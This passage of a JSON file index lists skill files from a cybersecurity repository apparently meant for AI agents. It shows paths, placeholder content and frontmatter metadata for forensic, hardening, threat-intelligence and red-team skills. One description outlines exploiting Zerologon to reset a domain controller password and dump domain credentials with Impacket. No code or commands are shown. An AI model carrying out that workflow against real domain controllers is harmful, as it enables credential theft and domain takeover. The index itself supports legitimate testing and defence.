assessments.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","websocket","web-security","owasp","real-time","burpsuite"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1055"]},"isInternal":false,"tokens":3398,"sizeBytes":14359},{"name":"template.md","path":"skills/exploiting-zerologon-vulnerability-cve-2020-1472/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-zerologon-vulnerability-cve-2020-1472/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-zerologon-vulnerability-cve-2020-1472%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":364,"sizeBytes":1236},{"name":"api-reference.md","path":"skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-zerologon-vulnerability-cve-2020-1472%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":640,"sizeBytes":2177},{"name":"standards.md","path":"skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-zerologon-vulnerability-cve-2020-1472%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":439,"sizeBytes":1365},{"name":"workflows.md","path":"skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-zerologon-vulnerability-cve-2020-1472%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":579,"sizeBytes":3720},{"name":"SKILL.md","path":"skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md","title":"exploiting-zerologon-vulnerability-cve-2020-1472","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-zerologon-vulnerability-cve-2020-1472%2FSKILL.md -->","frontmatter":{"name":"exploiting-zerologon-vulnerability-cve-2020-1472","description":"Exploits the Zerologon vulnerability (CVE-2020-1472) in the Netlogon Remote Protocol using Impacket to reset a domain controller's machine account password to empty, then runs DCSync via secretsdump.py to dump domain credentials. Use when red-teaming or validating unpatched Active Directory domain controllers for Zerologon, including restoring the machine account password afterward.","domain":"cybersecurity","subdomain":"red-teaming","tags":["zerologon","cve-2020-1472","netlogon","domain-controller","privilege-escalation","active-directory","ms-nrpc"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Platform Monitoring","Process Code Segment Verification","Stack Frame Canary Validation","Segment Address Offset Randomization","Process Analysis"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1068"]},"isInternal":false,"tokens":2172,"sizeBytes":7839},{"name":"api-reference.md","path":"skills/extracting-browser-history-artifacts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/extracting-browser-history-artifacts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-browser-history-artifacts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":552,"sizeBytes":2171},{"name":"SKILL.md","path":"skills/extracting-browser-history-artifacts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/extracting-browser-history-artifacts/SKILL.md","title":"extracting-browser-history-artifacts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-browser-history-artifacts%2FSKILL.md -->","frontmatter":{"name":"extracting-browser-history-artifacts","description":"Extracts and analyzes browser history, cookies, cache, downloads, and bookmarks from Chrome, Firefox, and Edge using sqlite3, DB Browser for SQLite, Hindsight, and NirSoft tools (BrowsingHistoryView, ChromeCacheView, MZCacheView). Use when performing digital forensics or incident response on a disk image or live system and you need timeline evidence of a user's web activity.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","browser-forensics","chrome","firefox","edge","web-history","artifact-extraction"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1059"]},"isInternal":false,"tokens":2970,"sizeBytes":11719},{"name":"template.md","path":"skills/extracting-config-from-agent-tesla-rat/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/extracting-config-from-agent-tesla-rat/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-config-from-agent-tesla-rat%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":113,"sizeBytes":419},{"name":"api-reference.md","path":"skills/extracting-config-from-agent-tesla-rat/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/extracting-config-from-agent-tesla-rat/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-config-from-agent-tesla-rat%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":649,"sizeBytes":2295},{"name":"standards.md","path":"skills/extracting-config-from-agent-tesla-rat/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/extracting-config-from-agent-tesla-rat/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-config-from-agent-tesla-rat%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":76,"sizeBytes":307},{"name":"workflows.md","path":"skills/extracting-config-from-agent-tesla-rat/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/extracting-config-from-agent-tesla-rat/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-config-from-agent-tesla-rat%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":63,"sizeBytes":466},{"name":"SKILL.md","path":"skills/extracting-config-from-agent-tesla-rat/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/extracting-config-from-agent-tesla-rat/SKILL.md","title":"extracting-config-from-agent-tesla-rat","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-config-from-agent-tesla-rat%2FSKILL.md -->","frontmatter":{"name":"extracting-config-from-agent-tesla-rat","description":"Extracts embedded configuration from Agent Tesla RAT samples, including SMTP/FTP/Telegram exfiltration credentials, keylogger settings, and C2 endpoints, via .NET decompilation and memory analysis. Use when analyzing a suspected or confirmed Agent Tesla sample and you need to recover its exfiltration channel and C2 configuration for threat intelligence or incident response.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["agent-tesla","rat","config-extraction","dotnet","malware-analysis","keylogger","credential-theft"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0024","AML.T0056","AML.T0086"],"nist_ai_rmf":["GOVERN-1.1","MEASURE-2.7","MANAGE-3.1"],"nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1140","T1497","T1003"]},"isInternal":false,"tokens":1813,"sizeBytes":7253},{"name":"api-reference.md","path":"skills/extracting-credentials-from-memory-dump/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/extracting-credentials-from-memory-dump/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-credentials-from-memory-dump%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":708,"sizeBytes":2653},{"name":"SKILL.md","path":"skills/extracting-credentials-from-memory-dump/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/extracting-credentials-from-memory-dump/SKILL.md","title":"extracting-credentials-from-memory-dump","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-credentials-from-memory-dump%2FSKILL.md -->","frontmatter":{"name":"extracting-credentials-from-memory-dump","description":"Extracts cached credentials, password hashes, Kerberos tickets, and authentication tokens from Windows memory dumps using Volatility 3, Mimikatz, and pypykatz. Use when performing memory forensics or incident response on an LSASS or full memory dump and you need to recover credentials or Kerberos material for investigation.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","credential-extraction","memory-forensics","volatility","mimikatz","password-hashes","incident-response"],"mitre_attack":["T1005","T1074","T1119","T1070","T1003"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","positioning","initial-access"],"techniques":[{"id":"T1555","name":"Credentials from Password Stores","tactic":"reconnaissance","source":"attack"},{"id":"T1555.003","name":"Credentials from Password Stores: Credentials from Web Browsers","tactic":"reconnaissance","source":"attack"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"},{"id":"F1006.001","name":"Account Takeover: Exposed API Key","tactic":"initial-access","source":"f3"}]},"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"]},"isInternal":false,"tokens":3519,"sizeBytes":13434},{"name":"api-reference.md","path":"skills/extracting-iocs-from-malware-samples/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/extracting-iocs-from-malware-samples/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-iocs-from-malware-samples%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":765,"sizeBytes":2640},{"name":"SKILL.md","path":"skills/extracting-iocs-from-malware-samples/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/extracting-iocs-from-malware-samples/SKILL.md","title":"extracting-iocs-from-malware-samples","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-iocs-from-malware-samples%2FSKILL.md -->","frontmatter":{"name":"extracting-iocs-from-malware-samples","description":"Extracts indicators of compromise (IOCs) from malware samples, including file hashes, network indicators (IPs, domains, URLs, PCAP indicators), host artifacts (file paths, registry keys, mutexes), and behavioral patterns, using tools like CyberChef, then defangs and exports them in standard threat-intel formats. Use for IOC extraction, threat indicator harvesting, or building detection content from a sample.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","IOC-extraction","threat-intelligence","indicators","detection"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1140","T1497"]},"isInternal":false,"tokens":3827,"sizeBytes":14215},{"name":"api-reference.md","path":"skills/extracting-memory-artifacts-with-rekall/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/extracting-memory-artifacts-with-rekall/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-memory-artifacts-with-rekall%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":483,"sizeBytes":1650},{"name":"SKILL.md","path":"skills/extracting-memory-artifacts-with-rekall/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/extracting-memory-artifacts-with-rekall/SKILL.md","title":"extracting-memory-artifacts-with-rekall","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-memory-artifacts-with-rekall%2FSKILL.md -->","frontmatter":{"name":"extracting-memory-artifacts-with-rekall","description":"Uses Rekall memory forensics framework to analyze memory dumps for process hollowing, injected code via VAD anomalies, hidden processes, and rootkit detection. Applies plugins like pslist, psscan, vadinfo, malfind, and dlllist to extract forensic artifacts from Windows memory images. Use during incident response memory analysis.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["memory-forensics","rekall","process-hollowing","code-injection","vad-analysis","incident-response","security-operations"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1055","T1005"]},"isInternal":false,"tokens":630,"sizeBytes":2566},{"name":"api-reference.md","path":"skills/extracting-windows-event-logs-artifacts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/extracting-windows-event-logs-artifacts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-windows-event-logs-artifacts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":757,"sizeBytes":2817},{"name":"SKILL.md","path":"skills/extracting-windows-event-logs-artifacts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/extracting-windows-event-logs-artifacts/SKILL.md","title":"extracting-windows-event-logs-artifacts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-windows-event-logs-artifacts%2FSKILL.md -->","frontmatter":{"name":"extracting-windows-event-logs-artifacts","description":"Extract, parse, and analyze Windows Event Logs (EVTX) using Chainsaw, Hayabusa, and EvtxECmd to detect lateral movement, persistence, and privilege escalation.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","windows-event-logs","evtx","chainsaw","hayabusa","sigma-rules","incident-response"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1021"]},"isInternal":false,"tokens":3468,"sizeBytes":13058},{"name":"api-reference.md","path":"skills/fleet-hunting-with-velociraptor/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/fleet-hunting-with-velociraptor/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ffleet-hunting-with-velociraptor%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":652,"sizeBytes":2515},{"name":"standards.md","path":"skills/fleet-hunting-with-velociraptor/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/fleet-hunting-with-velociraptor/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ffleet-hunting-with-velociraptor%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":245,"sizeBytes":1051},{"name":"SKILL.md","path":"skills/fleet-hunting-with-velociraptor/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/fleet-hunting-with-velociraptor/SKILL.md","title":"fleet-hunting-with-velociraptor","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ffleet-hunting-with-velociraptor%2FSKILL.md -->","frontmatter":{"name":"fleet-hunting-with-velociraptor","description":"Deploy a Velociraptor server and agents, then author VQL (Velociraptor Query Language) artifacts and run them as fleet-wide hunts, on-demand forensic collections, or standalone offline collectors. Use when hunting a TTP across hundreds or thousands of endpoints, collecting forensic artifacts during incident response without re-imaging, or generating collectors for unmanaged/air-gapped hosts.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","velociraptor","vql","dfir","endpoint-visibility","incident-response","fleet-collection","digital-forensics"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01"],"mitre_attack":["T1059"]},"isInternal":false,"tokens":2077,"sizeBytes":8908},{"name":"api-reference.md","path":"skills/generating-and-analyzing-sboms/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/generating-and-analyzing-sboms/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-and-analyzing-sboms%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":757,"sizeBytes":2393},{"name":"standards.md","path":"skills/generating-and-analyzing-sboms/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/generating-and-analyzing-sboms/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-and-analyzing-sboms%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":352,"sizeBytes":1430},{"name":"SKILL.md","path":"skills/generating-and-analyzing-sboms/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/generating-and-analyzing-sboms/SKILL.md","title":"generating-and-analyzing-sboms","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-and-analyzing-sboms%2FSKILL.md -->","frontmatter":{"name":"generating-and-analyzing-sboms","description":"Generate CycloneDX and SPDX SBOMs from container images and filesystems with Syft, correlate them to CVEs with Grype, and sign/attest them with Cosign. Use when you need a machine-readable dependency inventory for supply-chain risk, want to scan images or SBOMs for known vulnerabilities, or are embedding SBOM generation and vulnerability gating into CI/CD.","domain":"cybersecurity","subdomain":"supply-chain-security","tags":["supply-chain-security","sbom","cyclonedx","spdx","syft","grype","vulnerability-management","devsecops"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.AM-08"],"mitre_attack":["T1195.001"]},"isInternal":false,"tokens":1984,"sizeBytes":7617},{"name":"api-reference.md","path":"skills/generating-forensic-timelines-with-hayabusa/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/generating-forensic-timelines-with-hayabusa/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-forensic-timelines-with-hayabusa%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":614,"sizeBytes":2114},{"name":"standards.md","path":"skills/generating-forensic-timelines-with-hayabusa/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/generating-forensic-timelines-with-hayabusa/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-forensic-timelines-with-hayabusa%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":491,"sizeBytes":1962},{"name":"SKILL.md","path":"skills/generating-forensic-timelines-with-hayabusa/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/generating-forensic-timelines-with-hayabusa/SKILL.md","title":"generating-forensic-timelines-with-hayabusa","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-forensic-timelines-with-hayabusa%2FSKILL.md -->","frontmatter":{"name":"generating-forensic-timelines-with-hayabusa","description":"Run Hayabusa against collected Windows EVTX files to apply Sigma detection rules and produce a prioritized, chronological CSV/JSON timeline with severity levels, MITRE ATT&CK mappings, and per-host/per-Event-ID metrics. Use during DFIR triage to turn raw event logs into a fast, SIEM-free incident timeline, or to export results into Timesketch or Timeline Explorer for collaborative analysis.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["hayabusa","dfir","evtx","sigma","timeline","threat-hunting","windows-event-logs","forensics"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03"],"mitre_attack":["T1059.001"]},"isInternal":false,"tokens":2224,"sizeBytes":8832},{"name":"api-reference.md","path":"skills/generating-threat-intelligence-reports/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/generating-threat-intelligence-reports/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-threat-intelligence-reports%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":733,"sizeBytes":2865},{"name":"SKILL.md","path":"skills/generating-threat-intelligence-reports/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/generating-threat-intelligence-reports/SKILL.md","title":"generating-threat-intelligence-reports","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-threat-intelligence-reports%2FSKILL.md -->","frontmatter":{"name":"generating-threat-intelligence-reports","description":"Generates structured cyber threat intelligence reports at strategic, operational, and tactical levels tailored to specific audiences including executives, security operations teams, and technical analysts. Use when producing finished intelligence products from raw collection data, creating sector threat briefings, or delivering post-incident intelligence assessments. Activates for requests involving CTI report writing, threat briefings, intelligence products, finished intelligence, or executive security reporting.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["CTI","threat-intelligence","intelligence-products","TLP","PIR","report-writing","NIST-CSF"],"version":"1.0.0","author":"team-cybersecurity","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589"]},"isInternal":false,"tokens":1579,"sizeBytes":7737},{"name":"template.md","path":"skills/hardening-docker-containers-for-production/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-docker-containers-for-production/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-containers-for-production%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":724,"sizeBytes":2822},{"name":"api-reference.md","path":"skills/hardening-docker-containers-for-production/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-docker-containers-for-production/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-containers-for-production%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":508,"sizeBytes":1818},{"name":"standards.md","path":"skills/hardening-docker-containers-for-production/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-docker-containers-for-production/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-containers-for-production%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":910,"sizeBytes":3676},{"name":"workflows.md","path":"skills/hardening-docker-containers-for-production/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-docker-containers-for-production/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-containers-for-production%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":976,"sizeBytes":4344},{"name":"SKILL.md","path":"skills/hardening-docker-containers-for-production/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-docker-containers-for-production/SKILL.md","title":"hardening-docker-containers-for-production","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-containers-for-production%2FSKILL.md -->","frontmatter":{"name":"hardening-docker-containers-for-production","description":"Hardens Dockerfiles, images, and per-container runtime settings against the CIS Docker Benchmark v1.8.0: non-root users, dropped capabilities, read-only root filesystem, seccomp and AppArmor profiles, and minimal multi-stage builds, validated with docker-bench-security, Hadolint, and Dockle. Use when preparing a container or Dockerfile for production, or auditing images and runtime flags against CIS Docker controls. Keywords: Dockerfile, USER, --cap-drop, read-only rootfs, seccomp, AppArmor, multi-stage, Hadolint, Dockle. Do not use for the Docker daemon's own configuration - use hardening-docker-daemon-configuration.","domain":"cybersecurity","subdomain":"container-security","tags":["containers","docker","security","hardening","CIS-benchmark"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525","T1068"]},"isInternal":false,"tokens":1960,"sizeBytes":7268},{"name":"template.md","path":"skills/hardening-docker-daemon-configuration/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-docker-daemon-configuration/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-daemon-configuration%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":487,"sizeBytes":1750},{"name":"api-reference.md","path":"skills/hardening-docker-daemon-configuration/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-docker-daemon-configuration/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-daemon-configuration%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":580,"sizeBytes":1957},{"name":"standards.md","path":"skills/hardening-docker-daemon-configuration/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-docker-daemon-configuration/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-daemon-configuration%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":647,"sizeBytes":2431},{"name":"workflows.md","path":"skills/hardening-docker-daemon-configuration/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-docker-daemon-configuration/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-daemon-configuration%2Freferences%2Fworkflows.md 